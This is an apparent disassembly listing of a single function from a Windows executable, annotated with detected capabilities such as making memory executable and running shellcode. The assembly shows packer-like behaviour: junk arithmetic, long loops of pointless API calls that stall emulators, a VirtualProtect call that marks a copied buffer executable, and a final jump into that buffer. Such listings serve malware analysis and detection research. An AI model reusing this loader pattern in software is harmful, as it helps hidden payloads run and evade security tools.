Function at 0x403290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x1264
call fcn.0040cf30
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x2c], 0x79f59f9a
mov dword [esp + 0x84], 0x40bb856
mov dword [esp + 0x20], 0x376b0d37
mov dword [esp + 0x60], 0x7effde55
mov dword [esp + 0x5c], 0x568bfc8c
mov dword [esp + 0x28], 0x1cefac2f
mov dword [esp + 0x34], 0x11d09a7b
mov dword [esp + 0x3c], 0x2e10a994
mov dword [esp + 0x64], 0x5d764d3f
mov dword [esp + 0x4c], 0x16b30ca3
mov dword [esp + 0x54], 0x4ddf7b7b
mov dword [esp + 0x18], 0xca2d216
mov dword [esp + 0x30], 0x36d3ef91
mov dword [esp + 0x80], 0x76aae829
mov dword [esp + 0x70], 0x17574e1f
mov dword [esp + 0x44], 0x54cbcce0
mov dword [esp + 0x68], 0x5bb84785
mov dword [esp + 0x50], 0x39dee563
mov dword [esp + 0x38], 0x23ff2c9d
mov dword [esp + 0x40], 0x3d9c1d15
mov dword [esp + 0x1c], 0x5933150b
mov dword [esp + 0x74], 0x799709f1
mov dword [esp + 0x78], 0x11cd58f6
mov dword [esp + 0x58], 0x16f2724e
mov dword [esp + 0x48], 0x7b79887e
mov dword [esp + 0x7c], 0x9bbdd77
mov dword [esp + 0x24], 0x7782bf1f
add dword [esp + 0x2c], 0x51962a99
sub dword [esp + 0x2c], 0x29f22997
sub dword [esp + 0x2c], 0x3a4b2f54
mov eax, 0x250bc53c
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
add dword [esp + 0x2c], 0x5634e2cc
sub dword [esp + 0x84], 0x79a40934
mov eax, 0x5ebffff6
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x20], 0xc14edc0
mov eax, 0x1858ef56
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov eax, 0x25bbf9a8
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x1412c238
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
sub dword [esp + 0x60], 0x6555362d
add dword [esp + 0x28], 0x784669b9
add dword [esp + 0x60], 0x5283bd42
add dword [esp + 0x60], 0x7c1037cc
sub dword [esp + 0x28], 0x332197da
sub dword [esp + 0x4c], 0x21d76ee0
sub dword [esp + 0x28], 0x1434c80f
sub dword [esp + 0x84], 0x3cbe0f0b
add dword [esp + 0x5c], 0x13bf9deb
mov eax, 0x79216a79
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0x28], 0x347af5c1
add dword [esp + 0x84], 0x6541f76c
sub dword [esp + 0x20], 0x3cf39b08
mov eax, 0x38c2ced0
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
mov eax, 0x73bd275b
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x27efe349
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
sub dword [esp + 0x28], 0x4c143c3b
sub dword [esp + 0x5c], 0x39a16c9d
add dword [esp + 0x2c], 0x54dd86d
sub dword [esp + 0x20], 0x13a467f2
mov eax, 0x4f6ec303
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
sub dword [esp + 0x4c], 0x316f3390
sub dword [esp + 0x28], 0x2dc54ad1
mov eax, 0x14ff35d4
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x54], 0xcfac77f
sub dword [esp + 0x84], 0x28bfacad
mov eax, 0x37971319
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x3a658e4
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x2c], 0x7a142fa0
mov eax, 0x6418cf3e
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
sub dword [esp + 0x34], 0xbaab3cf
mov eax, 0x1da9a3dc
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
add dword [esp + 0x30], 0x654b08df
sub dword [esp + 0x20], 0x6c78b5c2
sub dword [esp + 0x4c], 0x524b0336
sub dword [esp + 0x64], 0x3e7a0f7b
sub dword [esp + 0x34], 0x14690bae
mov eax, 0x588d6e61
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x260aceeb
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
add dword [esp + 0x80], 0x74ef7873
add dword [esp + 0x3c], 0x10bd0eee
sub dword [esp + 0x4c], 0x60dea0b8
mov eax, 0x3ef9e994
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
mov eax, 0x452f6752
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
sub dword [esp + 0x3c], 0x33b54198
sub dword [esp + 0x18], 0x75f036ce
add dword [esp + 0x80], 0x432dddb
mov eax, 0x1b4174d
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x77918cb4
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0xe926f28
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x5249dc9
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
sub dword [esp + 0x28], 0x7cdee3a9
mov eax, 0x1075ab2a
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
sub dword [esp + 0x68], 0x20e66cbb
sub dword [esp + 0x50], 0x7d63cf11
mov eax, 0x17ad7747
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
sub dword [esp + 0x54], 0x5984c939
mov eax, 0x180705d3
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x68], 0x1c760cf0
sub dword [esp + 0x20], 0x74bc493c
add dword [esp + 0x34], 0x30701f10
sub dword [esp + 0x54], 0x6bd9a9b5
cmp dword [0x2b9b67c], 0xac
jne 0x403747
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
lea ecx, [esp + 0x10]
push ecx
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push esi
call fcn.00404081
add esp, 4
lea ecx, [esp + 0x88]
call fcn.004040b5
lea ecx, [esp + 0x88]
call fcn.004040e3
push 1
push 0x4452b0
lea ecx, [esp + 0x90]
call fcn.004040c6
lea ecx, [esp + 0x88]
mov dword [esp + 0x88], 0x402c94
call fcn.004040e3
push esi
call fcn.00404127
add esp, 4
push esi
push esi
call fcn.0040406a
push esi
push esi
call fcn.004041ad
push esi
call fcn.00404127
add esp, 0x14
push esi
push esi
call fcn.0040413d
push esi
push esi
call fcn.00404156
add esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404170
fstp st(0)
add esp, 0x10
push esi
call fcn.00404524
mov edi, dword [sym.imp.USER32.dll_SetCaretPos]
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebp, dword [sym.imp.GDI32.dll_GetCharABCWidthsI]
xor esi, esi
cmp esi, 0xda6a
jge 0x403784
push 0
push 0
call edi
push 0
lea edx, [esp + 0x274]
push edx
call ebx
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
call ebp
inc esi
cmp esi, 0x140d7
jl 0x40375b
add dword [0x2b9b67c], 0x11b1b
call fcn.00403270
mov edx, dword [0x2b9b67c]
mov eax, dword [0x2b98588]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
xor esi, esi
cmp dword [0x2b9b67c], esi
jbe 0x40383c
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov ecx, dword [0x2b9c01c]
mov dl, byte [esi + ecx + 0x11b1b]
mov eax, dword [0x2b98588]
mov byte [esi + eax], dl
cmp dword [0x2b9b67c], 0xa8
jne 0x403833
push 0
push 0
push 0
call ebx
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor ecx, ecx
xor edx, edx
mov word [esp + 0x12], dx
lea eax, [esp + 0x6c]
push eax
mov word [esp + 0x14], cx
mov ecx, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x90]
push edx
lea eax, [esp + 0x114]
push eax
push 0
call edi
inc esi
cmp esi, dword [0x2b9b67c]
jb 0x4037d2
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
xor esi, esi
mov ecx, dword [0x2b9b67c]
lea edx, [esi + ecx]
cmp edx, 0xe
jne 0x4038b4
push 0
lea eax, [esp + 0x70]
push eax
push 0
push 0
push 0
call ebx
xor ecx, ecx
xor edx, edx
mov word [esp + 0x12], dx
lea eax, [esp + 0x88]
push eax
mov word [esp + 0x14], cx
mov ecx, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x128]
push edx
lea eax, [esp + 0x124]
push eax
push 0
call edi
lea ecx, [esp + 0x150]
push ecx
push 0
push 0
call ebp
push 0
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc esi
cmp esi, 0x4f9413
jl 0x40384a
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov esi, 0x4f4
push 0
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x4038c8
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ecx]
call edi
cmp esi, 0x3b9f9c8
jge 0x403dc8
mov dword [esp + 0xd8], 0x684c6cb9
mov dword [esp + 0x104], 0x4395b497
mov dword [esp + 0xc4], 0x6f82daff
mov dword [esp + 0xf4], 0x1202ba3c
mov dword [esp + 0xd0], 0x50ba5420
mov dword [esp + 0xe8], 0x39a7c8ed
mov dword [esp + 0x94], 0x697b9344
mov dword [esp + 0xbc], 0x2458c4ed
mov dword [esp + 0x108], 0x6580b551
mov dword [esp + 0xac], 0x6c323bd1
mov dword [esp + 0xe4], 0x3340e087
mov dword [esp + 0xf8], 0x6bb2483d
mov dword [esp + 0x9c], 0x1a0ce8f1
mov dword [esp + 0xb0], 0x57e29de9
mov dword [esp + 0xa4], 0x3e746e00
mov dword [esp + 0x88], 0x13f69777
mov dword [esp + 0x110], 0x514f90f
mov dword [esp + 0x120], 0x29f53aba
mov dword [esp + 0xd4], 0x53a26513
mov dword [esp + 0xc8], 0x458abe63
mov dword [esp + 0x98], 0x2f1ac933
mov dword [esp + 0x10], 0x237120ed
mov dword [esp + 0xc0], 0x60cc9a27
mov dword [esp + 0xa0], 0x7ecac762
mov dword [esp + 0xec], 0x94d28b5
mov dword [esp + 0x118], 0x4f59fc0c
mov dword [esp + 0xb8], 0x65f08f22
mov dword [esp + 0x6c], 0x4a1dcb8e
mov dword [esp + 0xf0], 0x36588cef
mov dword [esp + 0x114], 0x3e00b22b
mov dword [esp + 0xcc], 0x1e316ad
mov dword [esp + 0xfc], 0x12467bdf
mov dword [esp + 0xb4], 0x6de494d9
mov dword [esp + 0xe0], 0x5879df7d
mov dword [esp + 0x100], 0x13ab4961
mov dword [esp + 0xdc], 0x3f3ebbea
mov dword [esp + 0xa8], 0x62574b4f
add dword [esp + 0xd8], 0x2ca019eb
add dword [esp + 0x104], 0x4ef63233
mov eax, 0x574ce8bf
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
sub dword [esp + 0xf4], 0x2784592e
mov eax, 0x48218ba7
mul dword [esp + 0x104]
mov eax, dword [esp + 0x104]
add dword [esp + 0xd0], 0x3ca08c2b
mov eax, 0xea2ff9a
mul dword [esp + 0xf4]
mov eax, dword [esp + 0xf4]
add dword [esp + 0x104], 0x79013c30
add dword [esp + 0x104], 0x5c7dd8d0
add dword [esp + 0xf4], 0x18134f19
add dword [esp + 0xd8], 0x56b10b0a
add dword [esp + 0xc4], 0x630652b3
sub dword [esp + 0xd0], 0x57476c89
mov eax, 0x355ecbb7
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
add dword [esp + 0xc4], 0x3a328f91
mov eax, 0x5dd306d4
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
sub dword [esp + 0xac], 0x29751539
add dword [esp + 0xb0], 0x66bd3c24
add dword [esp + 0x88], 0x254b45b7
mov eax, 0x2a68b0f4
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
add dword [esp + 0xe8], 0x360e1261
add dword [esp + 0xb0], 0xbf97aa8
mov eax, 0x469fb008
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
sub dword [esp + 0xe4], 0x6072059a
mov eax, 0x5e1acd5a
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
mov eax, 0x3e9d23e5
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
sub dword [esp + 0xa4], 0x34c4e200
sub dword [esp + 0x94], 0x4523a308
add dword [esp + 0xd0], 0x6debbca7
sub dword [esp + 0xd8], 0x44495aad
add dword [esp + 0x9c], 0x437c9486
sub dword [esp + 0x108], 0x100e5c43
add dword [esp + 0xc0], 0x3692f5b4
add dword [esp + 0xb0], 0x6c0e4c34
mov eax, 0x3a1def98
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0xbc], 0x6508187
add dword [esp + 0xac], 0x3f6975b4
mov eax, 0x64c2ebf0
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
add dword [esp + 0x110], 0x6f1e1b63
add dword [esp + 0x104], 0x414ca55b
sub dword [esp + 0xc4], 0x32417e61
mov eax, 0x781ab088
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
sub dword [esp + 0xc4], 0x4a2e5729
add dword [esp + 0xe4], 0x489cd46a
mov eax, 0x5465779f
mul dword [esp + 0x120]
mov eax, dword [esp + 0x120]
add dword [esp + 0xc0], 0x81584dc
sub dword [esp + 0xac], 0x1c04a078
add dword [esp + 0x6c], 0x545a4650
mov eax, 0x5b44c991
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
mov eax, 0x6ccff921
mul dword [esp + 0x110]
mov eax, dword [esp + 0x110]
mov eax, 0x6ae54b8a
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
sub dword [esp + 0x6c], 0x2fd2251c
add dword [esp + 0xac], 0x34b31fa0
add dword [esp + 0xbc], 0x23d706a7
mov eax, 0x36840256
mul dword [esp + 0x108]
mov eax, dword [esp + 0x108]
mov eax, 0x6d8ea0b5
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0xc0], 0x7c668690
sub dword [esp + 0xa4], 0x69f11e5f
mov eax, 0x58230f4a
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
add dword [esp + 0x104], 0x2e9cdbf4
sub dword [esp + 0xec], 0x5ed541b0
add dword [esp + 0xe4], 0x39104f81
mov eax, 0x350a5f4a
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
cmp esi, 0xbf08ef
jg 0x403ddd
inc esi
cmp esi, 0x19dd0e0c
jl 0x4038e0
call fcn.00403170
call fcn.00403250
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov ebx, 0x7b
jmp 0x403e00
cmp dword [0x2b9b67c], 0x86
jne 0x403e18
push 0
call esi
push 0
push 0
push 0
call edi
sub ebx, 1
jne 0x403e00
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_TlsFree]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProfileIntA]
mov ebp, 0x180ef
cmp dword [0x2b9b67c], 0x1f
jne 0x403e61
push 0
lea eax, [esp + 0x274]
push eax
call esi
push 0
lea ecx, [esp + 0xa74]
push ecx
call esi
push 0
call edi
push 0
push 0
push 0
call ebx
sub ebp, 1
jne 0x403e34
call fcn.00402e90
mov eax, dword [0x2b98588]
mov dword [0x2b9858c], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1264
ret